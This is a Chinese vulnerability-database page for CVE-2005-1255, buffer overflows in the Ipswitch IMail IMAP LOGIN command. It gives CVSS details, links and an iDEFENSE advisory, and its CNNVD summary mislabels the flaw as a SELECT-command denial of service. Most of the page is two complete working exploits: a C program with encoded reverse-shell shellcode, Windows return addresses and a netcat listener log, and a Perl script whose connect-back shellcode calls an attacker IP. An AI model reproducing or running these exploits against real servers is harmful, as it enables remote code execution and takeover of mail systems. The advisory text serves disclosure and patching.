CVE-2005-1255
CVSS10.0
发布时间 :2005-05-25 00:00:00
修订时间 :2008-11-15 00:46:12
NMCOEP    

[原文]Multiple stack-based buffer overflows in the IMAP server in IMail 8.12 and 8.13 in Ipswitch Collaboration Suite (ICS), and other versions before IMail Server 8.2 Hotfix 2, allow remote attackers to execute arbitrary code via a LOGIN command with (1) a long username argument or (2) a long username argument that begins with a special character.


[CNNVD]Ipswitch IMail IMAP SELECT命令拒绝服务漏洞(CNNVD-200505-1200)

        Ipswitch IMail server是基于Windows的通讯和协作解决方案。
        Ipswitch Inc的Imail IMAP server中存在远程拒绝服务漏洞,攻击者可以利用这个漏洞导致目标服务崩溃。
        漏洞起因是处理SELECT命令的超长参数。如果攻击者能够提供长度大约为260个字节的字符串的话,就可能触发栈溢出,导致守护程序退出。但无法再进一步利用这个漏洞。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ipswitch:imail:8.13Ipswitch IMail 8.13
cpe:/a:ipswitch:ipswitch_collaboration_suite
cpe:/a:ipswitch:imail_server:8.2_hotfix_2
cpe:/a:ipswitch:imail:8.12Ipswitch IMail 8.12

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1255
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1255
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-1200
(官方数据源) CNNVD

- 其它链接及资源

http://www.ipswitch.com/support/imail/releases/imail_professional/im82hf2.html
(PATCH)  CONFIRM  http://www.ipswitch.com/support/imail/releases/imail_professional/im82hf2.html
http://www.securityfocus.com/bid/13727
(UNKNOWN)  BID  13727
http://www.idefense.com/application/poi/display?id=243&type=vulnerabilities
(VENDOR_ADVISORY)  IDEFENSE  20050524 Ipswitch IMail IMAP LOGIN Remote Buffer Overflow Vulnerabilities
http://securitytracker.com/id?1014047
(UNKNOWN)  SECTRACK  1014047

- 漏洞信息

Ipswitch IMail IMAP SELECT命令拒绝服务漏洞
危急 缓冲区溢出
2005-05-25 00:00:00 2006-08-30 00:00:00
远程  
        Ipswitch IMail server是基于Windows的通讯和协作解决方案。
        Ipswitch Inc的Imail IMAP server中存在远程拒绝服务漏洞,攻击者可以利用这个漏洞导致目标服务崩溃。
        漏洞起因是处理SELECT命令的超长参数。如果攻击者能够提供长度大约为260个字节的字符串的话,就可能触发栈溢出,导致守护程序退出。但无法再进一步利用这个漏洞。
        

- 公告与补丁

        暂无数据

- 漏洞信息 (1035)

IPSwitch IMAP Server LOGON Remote Stack Overflow (EDBID:1035)
windows remote
2005-06-07 Verified
143 nolimit
N/A [点击下载]
/* 
IpSwitch IMAP Server LOGON stack overflow.
Software Hole discovered by iDEFENSE
POC written by nolimit and BuzzDee 

First, some information for the few of you that know how this stuff works.
The reason you see no SP2 or 2003 offsets is because of Windows SEH checks. 
Thats right, in this one situation, They've stopped hackers from exploiting the machine. 
At least with as much research as I care to do. The problem lies in the
fact that only alpha numeric memory addresses can be used in this exploit.
So what lies within the few regions of memory that is alpha numeric safe? Only system
DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).
So any SEH address overwritten that points to a system DLL  will fail past Windows XP SP2.
From what I've read and the few tricks I've tried, Theirs no way currently to get around the
protection In my situation. 

For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because 
of two reasons, While I've developed along with skylined an alpha numeric shellcode
to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
it yet.So, when It does come around, you can use that and re-adjust the stack accordingly
for proper exploitation of SP1. 

The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!
So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.
visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.

Now, for the "impact assessment".
Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
mostly be safe from complete ownage. But, Do not let this fact let you not patch your
server! This exploit, sent with any offset, will still crash your IMAP server!
With that said, Thier is still a small amount of servers online that run one of these
targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
push administrators need to patch their software.

For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.

  C:\HACKING\tools>nc -vv -l -p 3333
	listening on [any] 3333 ...
	DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
	connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>_

Questions? Comments?  
  nolimit@coreiso.org
  

                             -  - ---.
             .----------------------. |                      ·
             | :::::::::''''':::::: | !                   · /
             l  '''''           '': | `                  /_/
     .--- --·X·----------- -- -  -  | - c o r e i s o   __ \  ·   -  - ---.
     |       !                      :                  /_/\ \/            |
             |                                        _\ \ \              |
  S! /\____  |  _ ______/\ __ ______/\ __ ______/\   / /\_\/ _______ /\______
   _/    _/_____\    _    \__    _    \__    _    \_/ /  \ _/  ____//   _    \_
  //    /     _      /     /    _/     /     /     / /   / \_____      |/     /
_/     /      /     /    _/     \    _/\    ______/\/   /:     |/      /     /|
\ ___________/\ _________\ _____|\______\ __________\  /||     _______________|
 \/  .       . \/         \/        .    \/     /_/   / |______\          .
     |       |                      .          _\ \  /                    |
     |       |                      l         /_/\_\/                     |
     `------ | ------- -- -   - ---·X·-- -  -_\ \ \       -   -  - -- ----'
           . | :.            .....  !.      / /\_\/
           : | :::::......::::::::: |:     / /. \
           | `----------------------'|    /_//  /    www.coreiso.org
           `--- -  -                 |    \ \  /     Innovation, not imitation.
                             -  - ---'     \_\/

*/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

void cmdshell (int sock);
long gimmeip(char *hostname);
char buffer[2500];

//special stuff
char* alphaEncodeShellcode(char *shellcode, int size);
// un-crypted shellcode that we'll fill our retn values, then encode.
char unEncShellcode[]=
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
//160 above, ip next 4 bytes then, pass 2 theres port
"\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";

//modified encoded alpha num SUB ECX, 2E8 JMP ECX
char jmpBack[]=
"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA";
int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this.
char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok

int main(int argc,char *argv[])
{     
		WSADATA wsaData;
		struct sockaddr_in targetTCP;
		int sockTCP;
		unsigned short port = 143;
		long ip;
		if(argc < 5)
		{
			printf("IpSwitch IMAP server Remote Stack Overflow.\n"
				"This exploit uses a reverse shell payload.\n"
				"Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n"
				" eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
				"Targets:\n"
				"1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
				"4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
				"Read comments in source code for more info.\n"
				"Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
			return 1;			
		}		
		if(argc==6)
			port = atoi(argv[5]);					
        	WSAStartup(0x0202, &wsaData);				
		printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
		ip=gimmeip(argv[4]);	
        	targetTCP.sin_family = AF_INET;
        	targetTCP.sin_addr.s_addr = ip;
        	targetTCP.sin_port = htons(port);
		//set ip/port specified. Probably could have done this easier, but whatever.
		unsigned long revIp = gimmeip(argv[1]);
		unsigned long *revPtr = (unsigned long *)&unEncShellcode;
		revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away.
		*revPtr = revIp;
		char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
		int rPort = atoi(argv[2]);
		char *revPortPtr = (char *)&rPort;
		memcpy(portPtr,revPortPtr+1,1);
		memcpy(portPtr+1,revPortPtr,1);
		//done formatting, now lets encode it.
		char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
		paddingSize = 676 - strlen(shellcode);
		//form buffer here.
		memset(buffer,'\x00',2500);
		strcpy(buffer,"A001 LOGIN user@");
		memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
		strcat(buffer,shellcode);
		strcat(buffer,"r!s!"); //jmp over SE handler
		switch(atoi(argv[3]))
		{
			case 1:
			printf("[*] Targetting Windows XP SP 0..\n");
			strcat(buffer,jmpXPSP0);
			break;
			case 2:
			printf("[*] Targetting Windows 2000 SP4..\n");
			strcat(buffer,jmp2KSP4);
			break;
			case 3:
			printf("[*] Targetting Windows 2000 SP3..\n");
			strcat(buffer,jmp2KSP3);
			break;
			case 4:
			printf("[*] Targetting Windows 2000 SP2..\n");
			strcat(buffer,jmp2KSP2);
			break;
			case 5:
			printf("[*] Targetting Windows 2000 SP1..\n");
			strcat(buffer,jmp2KSP1);
			break;
			case 6:
			printf("[*] Targetting Windows 2000 SP0..\n");
			strcat(buffer,jmp2KSP0);
			break;
			default:
			printf("Target error.\n");
			return 1;
			break;
		}
		memset(buffer+strlen(buffer),'\x41',29);
		strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
		memset(buffer+strlen(buffer),'\x41',1323);
		strcat(buffer," nolimits\r\n");
		//buffer formed
		if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
				WSACleanup();
                return 1;
		}
		printf("[*] Socket initialized...\n");					
		if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
		{
			printf("[*] Connection to host failed! Exiting...\n");
			WSACleanup();
			exit(1);
		} 		
		printf("[*] Sending  buffer.\n");
		Sleep(1000);
		if (send(sockTCP, buffer, strlen(buffer),0) == -1)
		{
				printf("[x] Failed to inject packet! Exiting...\n");
				WSACleanup();
                return 1;
		}
		Sleep(1000);
		closesocket(sockTCP);
		WSACleanup();
		printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n");
		return 0;
}

/*********************************************************************************/
long gimmeip(char *hostname) 
{
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) 
	{
		if ((he = gethostbyname(hostname)) == NULL) 
		{
			printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}
/*********************************************************************************/

//Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever.
//  aka Skylined  <skylined@edup.tudelft.nl>. Hats off to him.

//ecx ascii decoder.
#define ecx_mixedcase_ascii_decoder	"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
	int   i, input, A, B, C, D, E, F;
	char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	//first, create a big enough shellcode memory section
	char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2)));
	strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
	char buff[4];
	int z=0;
	for(;z < size;z++)
	{
		 // encoding AB -> CD 00 EF 00
		A = (shellcode[z] & 0xf0) >> 4;
		B = (shellcode[z] & 0x0f);

		F = B;
		// E is arbitrary as long as EF is a valid character
		i = rand() % strlen(valid_chars);
		while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
		E = valid_chars[i] >> 4;
		// normal code uses xor, unicode-proof uses ADD.
		// AB ->
		D =  0 ? (A-E) & 0x0f : (A^E);
		// C is arbitrary as long as CD is a valid character
		i = rand() % strlen(valid_chars);
		while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
		C = valid_chars[i] >> 4;
		//edit, use curChar ptr to strncpy it.
		//printf("%c%c", (C<<4)+D, (E<<4)+F);
		sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
		strcat(encShellcode,buff);
	}
	return encShellcode;
}

// milw0rm.com [2005-06-07]
		

- 漏洞信息 (1124)

IPSwitch IMail Server <= 8.15 IMAPD Remote Root Exploit (EDBID:1124)
linux remote
2005-08-01 Verified
143 Kingcope
[点击下载] [点击下载]
# IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope
# June 2005
# Confidential!

use IO::Socket;

# 316 bytes
$cbsc = 
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA"
."\xEB\x05\xE8\xEB\xFF\xFF\xFF"
."\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49"
."\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2"
."\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49"
."\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2"
."\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92"
."\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2"
."\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1"
."\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69"
."\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B"
."\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93"
."\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D"
."\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE"
."\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83"
."\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1"
."\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49"
."\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01"
."\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7"
."\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68"
."\xA2\x25\xBB\x04\xBB";

$numtargets = 12;

@targets = 
(
 ["Ipswitch IMAIL Server IMAPD 7.04", "\x5F\x2E\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 7.07", "\x3F\x34\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 7.13", "\x33\x36\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 7.15", "\x53\x36\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03", "\x53\x36\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 8.04", "\x73\x36\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX", "\xB3\x36\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3", "\x03\x37\x01\x10", 1],
 ["Ipswitch IMAIL Server IMAPD 8.10", "\xfe\xf9\x01\x10", 0],
 ["Ipswitch IMAIL Server IMAPD 8.11", "\x8e\x02\x02\x10", 0],
 ["Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14", "\x2e\x0b\x02\x10", 0],
 ["Ipswitch IMAIL Server IMAPD 8.15", "\x0e\x0e\x02\x10", 0]
);

print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n";
if ($#ARGV ne 3) {
	print "usage: imail.pl target targettype yourip yourport\n\n";
    for ($i=0; $i<$numtargets; $i++) {
	 print " [".$i."]...". $targets[$i][0]. "\r\n";
    }	
	exit(0);	
}

$tt=$ARGV[1];
$ret = $targets[$tt][1];
$cbip=$ARGV[2];
$cbport=$ARGV[3];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
$a1 = chr(ord($a1) ^ 0xc2);
$a2 = chr(ord($a2) ^ 0xc2);
$a3 = chr(ord($a3) ^ 0xc2);
$a4 = chr(ord($a4) ^ 0xc2);
substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);

($p1, $p2) = split(//, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1) ^ 0xc2);
$p2 = chr(ord($p2) ^ 0xc2);
substr($cbsc, 118, 2, $p1 . $p2);	  

print "[*] $ARGV[0]\n";
print "[*] ".$targets[$tt][0]."\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '143',
                              Proto    => 'tcp');

$findsc="\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0";

if ($targets[$tt][2] eq 0) {
 $a="@" . "SEXY" . $cbsc . "A" x 358 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000;	# IMAIL > 8.00
}

if ($targets[$tt][2] eq 1) {
 $a="@" . "SEXY" . $cbsc . "A" x 366 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000;	# IMAIL 8.00
}

print $sock "a001 LOGIN \"" . $a . "\" password\r\n";

while(<$sock>) {
		print;
}

# milw0rm.com [2005-08-01]
		

- 漏洞信息 (F39312)

iDEFENSE Security Advisory 2005-05-24.3 (PacketStormID:F39312)
2005-08-14 00:00:00
iDefense Labs  idefense.com
advisory,remote,overflow,arbitrary,vulnerability,imap
CVE-2005-1255
[点击下载]

iDEFENSE Security Advisory 05.24.05-3 - Remote exploitation of several buffer overflow vulnerabilities in Ipswitch Inc.'s Imail 8.13 IMAP server allows attackers to execute arbitrary code with System privileges. The first vulnerability specifically exists in the handling of a long username to the LOGIN command. A long username argument of approximately 2,000 bytes will cause a stack based unicode string buffer overflow providing the attacker with partial control over EIP. As this vulnerability is in the LOGIN command itself, valid credentials are not required. Version 8.12 is confirmed vulnerable. Earlier versions may be susceptible as well.

Ipswitch IMail IMAP LOGIN Remote Buffer Overflow Vulnerabilities

iDEFENSE Security Advisory 05.24.05
www.idefense.com/application/poi/display?id=243&type=vulnerabilities
May 24, 2005

I. BACKGROUND

Ipswitch Collaboration Suite (ICS) is a comprehensive communication and 
collaboration solution for Microsoft Windows with a customer base of 
over 53 million users. More information is available on the vendor's 
website:

     http://www.ipswitch.com/products/IMail_Server/index.html

II. DESCRIPTION

Remote exploitation of several buffer overflow vulnerabilities in 
Ipswitch Inc.'s Imail IMAP server allows attackers to execute arbitrary 
code with System privileges. 

The first vulnerability specifically exists in the handling of a long 
username to the LOGIN command. A long username argument of approximately

2,000 bytes will cause a stack based unicode string buffer overflow 
providing the attacker with partial control over EIP. As this 
vulnerability is in the LOGIN command itself, valid credentials are not 
required. 

The second vulnerability also exists in the handling of the LOGIN 
command username argument, however it lends itself to easier 
exploitation. If a large username starting with one of several special 
characters is specified, a stack overflow occurs, allowing an attacker 
to overwrite the saved instruction pointer and control execution flow. 
Included in the list of special characters are the following: % : * @ & 

Both of these vulnerabilities can lead to the execution of arbitrary
code.

III. ANALYSIS

Successful exploitation allows remote attackers to execute arbitrary 
code with System privileges. Valid credentials are not required to for 
exploitation, which heightens the impact of this vulnerability.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in the latest

version of Ipswitch IMAIL, version 8.13. Version 8.12 is also confirmed 
as vulnerable. It is suspected that earlier versions are also 
vulnerable.

V. WORKAROUND

As this vulnerability is exploited before authentication occurs, the 
only effective workaround is to limit access to the IMAP server by 
filtering TCP port 143. If possible, consider disabling IMAP and forcing

users to use POP3.

VI. VENDOR RESPONSE

The vendor has released the following patch to fix this vulnerability:

ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail82hf2.exe

The associated vendor advisory can be found at:

http://www.ipswitch.com/support/imail/releases/imail_professional/im82hf
2.html

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1255 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

04/25/2005  Initial vendor notification
05/10/2005  Initial vendor response
05/24/2005  Public disclosure

IX. CREDIT

The discoverer of the first vulnerability wishes to remain anonymous.
iDEFENSE Labs is credited with the discovery of the second
vulnerability.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
    

- 漏洞信息

16804
Ipswitch IMail IMAP LOGIN username Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in IMail Server. The IMAP service (IMAP4D32.EXE) fails to perform proper bounds checking resulting in a buffer overflow. By passing either an overly long username starting with special characters to the 'LOGIN' command, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-05-24 2005-04-25
2005-06-07 Unknow

- 解决方案

Upgrade to version 8.2 Hotfix 2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站